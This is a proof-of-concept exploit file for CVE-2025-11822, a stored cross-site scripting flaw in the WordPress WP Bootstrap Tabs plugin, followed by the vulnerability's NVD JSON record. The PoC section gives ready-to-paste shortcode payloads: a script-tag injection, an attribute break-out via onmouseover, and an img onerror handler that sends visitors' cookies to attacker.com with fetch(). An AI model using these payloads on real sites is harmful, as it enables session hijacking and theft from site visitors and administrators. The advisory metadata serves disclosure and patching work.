CVE-2025-11822

<!-- CVE-2025-11822 PoC: Stored XSS via bootstrap_tab shortcode --> <!-- Authenticated attackers with contributor-level access can inject malicious JavaScript --> [bootstrap_tab title='<script>alert(String.fromCharCode(88,83,83))</script>'] Content here [/bootstrap_tab] <!-- Alternative PoC with event handler --> [bootstrap_tab title='" onmouseover="alert(1)" x="'] Content here [/bootstrap_tab] <!-- Steal cookies PoC --> [bootstrap_tab title='<img src=x onerror="fetch(`https://attacker.com/log?c=`+document.cookie)">'] Content here [/bootstrap_tab]

{"cve": {"id": "CVE-2025-11822", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:42.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Bootstrap Tabs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bootstrap_tab' shortcode in all versions up to, and including, 1.0.4. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-bootstrap-tabs/tags/1.0.4/wp-bootstrap-tabs.php#L120", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-bootstrap-tabs/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/173305ee-9c89-4192-8ccf-227947b142d1?source=cve", "source": "[email protected]"}]}}